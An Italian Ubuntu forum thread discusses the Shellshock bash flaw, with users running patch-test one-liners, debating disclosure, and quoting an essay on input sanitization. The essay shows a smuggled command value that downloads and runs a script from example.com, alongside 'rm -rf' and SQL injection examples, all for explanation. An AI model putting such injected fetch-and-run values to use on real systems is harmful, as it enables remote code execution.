"Shellshock" mette in crisi la credibilità UNIX?

Il ritrovo della comunità dove confrontarsi e discutere sulle notizie dal mondo dell'informatica, di Ubuntu e di tutto quello che la riguarda, novità, pettegolezzi e quant'altro.
Avatar utente
spak
Prode Principiante
Messaggi: 85
Iscrizione: martedì 20 aprile 2010, 21:21

Re: "Shellshock" mette in crisi la credibilità UNIX?

Messaggio da spak »

superlex [url=http://forum.ubuntu-it.org/viewtopic.php?p=4660825#p4660825][img]http://forum.ubuntu-it.org/images/icons/icona-cita.gif[/img][/url] ha scritto:
env '__BASH_FUNC<ls>()'="() { echo Game Over; }" bash -c ls
foo='() { echo not patched; }' bash -c foo


cosa vi restituiscono?
a me questo

Codice: Seleziona tutto

utente@ubuntu:~$ foo='() { echo not patched; }' bash -c foo
bash: foo: comando non trovato
Avatar utente
superlex
Rampante Reduce
Rampante Reduce
Messaggi: 5372
Iscrizione: martedì 19 agosto 2008, 23:22
Desktop: Budgie
Distribuzione: Ubuntu 18.04 LTS

Re: "Shellshock" mette in crisi la credibilità UNIX?

Messaggio da superlex »

Buono, e il primo?
!!! NOTA !!!: non si accettano richieste d'aiuto in privato, sebbene si possa segnalare la discussione aperta per un eventuale intervento. Grazie.
[GUIDA] Webcam Motion Eye 05ca:18** Sony Vaio
[GUIDA] TunerTV eb1a:2881 per Ubuntu 16.04
Avatar utente
spak
Prode Principiante
Messaggi: 85
Iscrizione: martedì 20 aprile 2010, 21:21

Re: "Shellshock" mette in crisi la credibilità UNIX?

Messaggio da spak »

ecco il risultato del primo

Codice: Seleziona tutto

utente@ubuntu:~$ env '__BASH_FUNC<ls>()'="() { echo Game Over; }" bash -c ls
Documenti  log13.txt  log19.txt  log24.txt  log3.txt  Modelli	 Video
dwhelper   log14.txt  log1.txt	 log25.txt  log4.txt  Musica
Immagini   log15.txt  log20.txt  log26.txt  log6.txt  opt
log10.txt  log16.txt  log21.txt  log27.txt  log7.txt  Pubblici
log11.txt  log17.txt  log22.txt  log28.txt  log8.txt  Scaricati
log12.txt  log18.txt  log23.txt  log2.txt   log9.txt  Scrivania
utente@ubuntu:~$ 

Avatar utente
superlex
Rampante Reduce
Rampante Reduce
Messaggi: 5372
Iscrizione: martedì 19 agosto 2008, 23:22
Desktop: Budgie
Distribuzione: Ubuntu 18.04 LTS

Re: "Shellshock" mette in crisi la credibilità UNIX?

Messaggio da superlex »

Buono, buono..
!!! NOTA !!!: non si accettano richieste d'aiuto in privato, sebbene si possa segnalare la discussione aperta per un eventuale intervento. Grazie.
[GUIDA] Webcam Motion Eye 05ca:18** Sony Vaio
[GUIDA] TunerTV eb1a:2881 per Ubuntu 16.04
Avatar utente
enziosavio
Entusiasta Emergente
Entusiasta Emergente
Messaggi: 2416
Iscrizione: sabato 27 novembre 2010, 13:20
Desktop: Plasma e Gnome
Distribuzione: 64bit
Sesso: Maschile

Re: "Shellshock" mette in crisi la credibilità UNIX?

Messaggio da enziosavio »

Non mi intendo di script e bash .
Dico solo che il tutto è stato gestito da principianti , la vulnerabilità mi sembra di capire che era li da anni , e forse nessuno ne conosceva nemmeno l' esistenza , quindi perchè mettersi a lavare i panni in piazza ?
Ci manca che diano il bugiardino con le istruzioni dettagliate di come sfruttarla e via
Rivestì la corazza come gigante , cinse l'armatura di guerra e impegnò battaglia difendendo il campo con la spada
Avatar utente
Wilson
Imperturbabile Insigne
Imperturbabile Insigne
Messaggi: 3539
Iscrizione: domenica 20 novembre 2005, 14:47
Desktop: Unity
Distribuzione: Edubuntu 15.04 x86_64
Località: Torino

Re: "Shellshock" mette in crisi la credibilità UNIX?

Messaggio da Wilson »

enziosavio [url=http://forum.ubuntu-it.org/viewtopic.php?p=4661484#p4661484][img]http://forum.ubuntu-it.org/images/icons/icona-cita.gif[/img][/url] ha scritto:Non mi intendo di script e bash .
Dico solo che il tutto è stato gestito da principianti , la vulnerabilità mi sembra di capire che era li da anni , e forse nessuno ne conosceva nemmeno l' esistenza , quindi perchè mettersi a lavare i panni in piazza ?
Ci manca che diano il bugiardino con le istruzioni dettagliate di come sfruttarla e via
Perché è il solo modo realmente responsabile, anche perché non c'è un "qualcuno" specifico che gestisce tutto (ovviamente).
Il problema era lì da anni, non c'è modo di sapere quanti malintenzionati lo conoscessero e da quanto.
Quando succede una cosa del genere, chi si accorge del problema (che non è quasi mai chi sviluppa il programma in questione), se è benintenzionato, dovrebbe avvisare subito chi sviluppa il programma e dopo poco il resto del mondo, quale che sia la reazione (che nel caso di prodotti proprietari è spesso far finte di niente, se non sanno che la cosa diventerà presto pubblica).
Questo perché è probabile che di malintenzionati che già conoscono la falla e sono pronti a sfruttarla ce ne siano già e la cosa più responsabile e togliere loro questo vantaggio dando a tutti la possibilità di difendersi o almeno di conoscere il pericolo.

ps: no, non manca, non solo c'è il bugiardino, ma pure l'exploit già fatto pronto da personalizzare
-- Provate Ubuntu! Innocuo se usato secondo le istruzioni --
Avatar utente
kimj
Entusiasta Emergente
Entusiasta Emergente
Messaggi: 1058
Iscrizione: sabato 13 settembre 2008, 11:45

Re: "Shellshock" mette in crisi la credibilità UNIX?

Messaggio da kimj »

no, ma un problema cosi', strutturale... non ti ca**** neanche di striscio se lo rendi pubblico, al massimo dicono che e' il funzionamento corretto.

c'e' voluto il fatto che l'avesse pubblicizzato un giornalista famoso nel settore della sicurezza, brian krebs, dopo averlo letto su un qualche forum di cracker in russo...
We no longer think of chairs as technology; we just think of them as chairs. But there was a time when we hadn't worked out how many legs chairs should have, how tall they should be, and they would often 'crash' when we tried to use them.
Avatar utente
enziosavio
Entusiasta Emergente
Entusiasta Emergente
Messaggi: 2416
Iscrizione: sabato 27 novembre 2010, 13:20
Desktop: Plasma e Gnome
Distribuzione: 64bit
Sesso: Maschile

Re: "Shellshock" mette in crisi la credibilità UNIX?

Messaggio da enziosavio »

ps: no, non manca, non solo c'è il bugiardino, ma pure l'exploit già fatto pronto da personalizzare
Vedi che allora c'è più di qualcosa che non quadra
Rivestì la corazza come gigante , cinse l'armatura di guerra e impegnò battaglia difendendo il campo con la spada
Avatar utente
superlex
Rampante Reduce
Rampante Reduce
Messaggi: 5372
Iscrizione: martedì 19 agosto 2008, 23:22
Desktop: Budgie
Distribuzione: Ubuntu 18.04 LTS

Re: "Shellshock" mette in crisi la credibilità UNIX?

Messaggio da superlex »

Domandona:
qualcuno di voi sa come aggiornare bash su cyanogen? sh è un collegamento a mksh, che non dovrebbe esserne affetto in teoria, ma bash sì.
!!! NOTA !!!: non si accettano richieste d'aiuto in privato, sebbene si possa segnalare la discussione aperta per un eventuale intervento. Grazie.
[GUIDA] Webcam Motion Eye 05ca:18** Sony Vaio
[GUIDA] TunerTV eb1a:2881 per Ubuntu 16.04
ale4
Scoppiettante Seguace
Scoppiettante Seguace
Messaggi: 761
Iscrizione: venerdì 10 agosto 2012, 17:53

Re: "Shellshock" mette in crisi la credibilità UNIX?

Messaggio da ale4 »

superlex [url=http://forum.ubuntu-it.org/viewtopic.php?p=4665195#p4665195][img]http://forum.ubuntu-it.org/images/icons/icona-cita.gif[/img][/url] ha scritto:Domandona:
qualcuno di voi sa come aggiornare bash su cyanogen? sh è un collegamento a mksh, che non dovrebbe esserne affetto in teoria, ma bash sì.
Semplicemente aggiorna la ROM all'ultima versione, le nuove versioni hanno bash patchato

Comunque anche se non puoi aggiornare non è un problema, dato che su android non hai servizi esposti sulla rete che sfruttano bash quindi non ti crea alcun problema il bug
Avatar utente
superlex
Rampante Reduce
Rampante Reduce
Messaggi: 5372
Iscrizione: martedì 19 agosto 2008, 23:22
Desktop: Budgie
Distribuzione: Ubuntu 18.04 LTS

Re: "Shellshock" mette in crisi la credibilità UNIX?

Messaggio da superlex »

Purtroppo l'ultima rom ufficiale per il mio cell risale al 2011 xD
Comunque ho risolto eliminando /system/xbin/bash :p
!!! NOTA !!!: non si accettano richieste d'aiuto in privato, sebbene si possa segnalare la discussione aperta per un eventuale intervento. Grazie.
[GUIDA] Webcam Motion Eye 05ca:18** Sony Vaio
[GUIDA] TunerTV eb1a:2881 per Ubuntu 16.04
Avatar utente
kimj
Entusiasta Emergente
Entusiasta Emergente
Messaggi: 1058
Iscrizione: sabato 13 settembre 2008, 11:45

Re: "Shellshock" mette in crisi la credibilità UNIX?

Messaggio da kimj »

trovata a caso questa opinione che condivido, espressa molto meglio di come potrei mai fare.
The thing that shocks me about Shellshock isn't that the bug was in bash, or even that it was in bash for 22+ years before being discovered (how old will I be when I last deal with a bug from before my career even started?); it's that so much software that's been used to exploit Shellshock passed environment variables willy-nilly on to a shell in the first place.

I've got nearly every snippet of random code I've written for myself in that entire period, and doing some spot checks, I see that until 1997, I never bothered with any serious checks of external input at all except for assertion-maintaining checks¹ and Perl tainting (which is actually pretty darn good, for pre-1997 state-of-the-art). But that was as much because I was writing things purely for myself and rarely wrote anything that talked to the network as because I wasn't very sophisticated in security practice (I wasn't, but who was?).

Then, suddenly starting in 1997, I never again wrote code that called external code with user input without taking the most paranoid sanity-checking measures. I blanked my environment and rebuilt it safely before making an external call. I always used the multi-argument form of exec calls². I sanitized every input, sometimes twice if the UI and the backend were separable. Once I got in the habit, I just never stopped.

And it became weird not to do it, to the point that when I saw a single-argument exec it just seemed wrong. (In fact, at Google, my code reviewers sometimes admonished me to remove my checks. When you're writing purely internal tools code, such checks are kind of silly when all the possible users of the code already have the access to do whatever they like. It's a bit like the tools you'll sometimes find that require a password, even if you're already running as the superuser. An inconvenient speedbump that doesn't actually increase security in any significant way.)

That all these tools were calling bash with a ream of unsanitized environment variables just pushed through raw seems totally strange to me. The idea of bash needing better security just makes me giggle a bit. Bash is a thing that can run arbitrary commands on your system. That's its purpose. Saying bash needs better security features on the input end seems like saying that a chef's knife needs better child-safety features. You're supposed to keep the thing away from the those who would pose a danger if they posessed it, not make it safer for when they do.

Some have called the efforts to patch Bash "whack-a-mole". I think that's likely, because Bash was never designed to be secure in the first place. Another bad simile: it's like saying the car engine has a fault because, when hotwired, it will run even without a key. Yep, some car engines actually do have an ignition interlock that requires a key, but that's kind of the point: it's for the specific and rare case where the operator of the car is untrusted. Securing bash would only be ultimately useful for the purpose of giving a command-line to users you don't trust. There are tailor-made restricted shells for this purpose; I'd daresay they're better candidates for this kind of thing, too.


¹ There's a better name for that, but it escapes me at the moment. Basically, checks of user input that aren't strictly security-related but rather ensure data integrity by accepting only pre-normalized data before passing it through raw. Like, if I expect a date of the form "1996-04-01", my rejecting anything that doesn't look like that happens to reject "1996-04-01'); DROP TABLE USERS;", but that's merely a side effect of trying to reject things like "04/01/1996", which are malformed but not actually security threats.

There's an old adage, Postel's Law, about designing robust distributed systems: "be liberal in what you accept and conservative in what you send". It means that in the example above, I really should have accepted "04/01/1996" and dealt with it, but only pass on "1996-04-01" even if I got the other form. But when you're writing tools for yourself, it's often easiest to be equally conservative in what you accept, since the only one who has to deal with the "stupid code" is the stupid idiot who wrote the stupid code, namely, that stupid idiot you see in the mirror.

² What that means in a nutshell is understandable even if you don't code, provided you have used a command line shell. In newer languages (Scala, Haskell, etc.) and in very high level non-shell languages (Perl, Python, Ruby, and so on), you can make calls to external programs (what we call "the exec family" because a lot of them are called exec or something that starts with exec, though the most common in the VHLL's is called system) one of two ways: either with a single string that exactly matches what you'd type to a command line, like
system("rm -rf /tmp/tmpdir")
or you can call it with the arguments split up, like:
system("/bin/rm", "-rf", "/tmp/tmpdir")

The two are (more or less) exactly equivalent above. The latter is more secure, however, when you introduce some external input. Say you save your temp directory with a projectname. That would be something like:
system("rm -rf /tmp/tmpdir_" + projectname)
to give you "rm -rf /tmp/tmpdir_myproject" when projectname was "myproject".

But what if what you got was "myproject; curl -O http://example.com/badscript.sh; bash badscript.sh"? In the above, you run the equivalent of "rm -rf /tmp/tmpdir_myproject; curl -O http://example.com/badscript.sh; bash badscript.sh", downloading and running some (presumably scary) script.

OTOH, if you use the multi-argument form, you'd do:
system("/bin/rm", "-rf", "/tmp/tmpdir_" + projectname)
Which would insist that the rm command deal with everything it gets in projectname, once appended to "/tmp/tmpdir_", as a directory. It would fail because presumably there's no directory called "/tmp/tmpdir_myproject; curl -O http://example.com/badscript.sh; bash badscript.sh".
We no longer think of chairs as technology; we just think of them as chairs. But there was a time when we hadn't worked out how many legs chairs should have, how tall they should be, and they would often 'crash' when we tried to use them.
Avatar utente
maxbigsi
Tenace Tecnocrate
Tenace Tecnocrate
Messaggi: 17039
Iscrizione: mercoledì 21 maggio 2008, 14:05
Desktop: Xfce
Distribuzione: MX Linux 23.2 64bit
Sesso: Maschile
Contatti:

Re: "Shellshock" mette in crisi la credibilità UNIX?

Messaggio da maxbigsi »

...che in parole povere sarebbe? :D
W il software libero..... W Ubuntu -- Ubuntu User # 31322
https://www.ergosumracalmuto.org/inform ... /index.php
Avatar utente
Wilson
Imperturbabile Insigne
Imperturbabile Insigne
Messaggi: 3539
Iscrizione: domenica 20 novembre 2005, 14:47
Desktop: Unity
Distribuzione: Edubuntu 15.04 x86_64
Località: Torino

Re: "Shellshock" mette in crisi la credibilità UNIX?

Messaggio da Wilson »

Che il vero shock non è che ci fosse un baco in bash da più di vent'anni, ma che un sacco di software diverso, nell'appoggiarsi a una shell, riporti direttamente delle stringhe che riceve in input da una fonte esterna.
E devo dire che ha ragione a palate.

Per esempio: a causa di shellshock si può avere accesso a un mac (e alcuni linux) non appena si collega a uan rete attraverso il dhcp: appena dhcp-client chiede di avere un ip gli si risponde con un pacchetto anomalo diretto a sfruttare il buco di bash, il che è possibile solo perché dhcp-client, incredibilmente, inoltra a bash qualsiasi cosa tu gli metta in un certo punto, senza controllare che quello che gli passi abbia almeno il formato previsto.

Ora, bash avrà pure un baco, ma la colpa grave è degli sviluppatori di dhcp-client, non di quelli di bash.
-- Provate Ubuntu! Innocuo se usato secondo le istruzioni --
Avatar utente
maxbigsi
Tenace Tecnocrate
Tenace Tecnocrate
Messaggi: 17039
Iscrizione: mercoledì 21 maggio 2008, 14:05
Desktop: Xfce
Distribuzione: MX Linux 23.2 64bit
Sesso: Maschile
Contatti:

Re: "Shellshock" mette in crisi la credibilità UNIX?

Messaggio da maxbigsi »

Wilson [url=http://forum.ubuntu-it.org/viewtopic.php?p=4669575#p4669575][img]http://forum.ubuntu-it.org/images/icons/icona-cita.gif[/img][/url] ha scritto:
Che il vero shock non è che ci fosse un baco in bash da più di vent'anni, ma che un sacco di software diverso, nell'appoggiarsi a una shell, riporti direttamente delle stringhe che riceve in input da una fonte esterna.
E devo dire che ha ragione a palate.

Per esempio: a causa di shellshock si può avere accesso a un mac (e alcuni linux) non appena si collega a uan rete attraverso il dhcp: appena dhcp-client chiede di avere un ip gli si risponde con un pacchetto anomalo diretto a sfruttare il buco di bash, il che è possibile solo perché dhcp-client, incredibilmente, inoltra a bash qualsiasi cosa tu gli metta in un certo punto, senza controllare che quello che gli passi abbia almeno il formato previsto.

Ora, bash avrà pure un baco, ma la colpa grave è degli sviluppatori di dhcp-client, non di quelli di bash.
...grazie per il "sunto" ;)
W il software libero..... W Ubuntu -- Ubuntu User # 31322
https://www.ergosumracalmuto.org/inform ... /index.php
Avatar utente
astragalo
Prode Principiante
Messaggi: 5
Iscrizione: giovedì 23 ottobre 2014, 17:40
Desktop: KDE
Distribuzione: Kubuntu

Re: "Shellshock" mette in crisi la credibilità UNIX?

Messaggio da astragalo »

No. Tutti i sistemi operativi hanno delle debolezze, Linux e i BSD non fanno eccezione. Inoltre Linux e i BSD correggono i bachi più velocemente dei sistemi operativi proprietari.
KDE user
Scrivi risposta

Ritorna a “Bar Ubuntu”

Chi c’è in linea

Visualizzano questa sezione: Bing [Bot] e 12 ospiti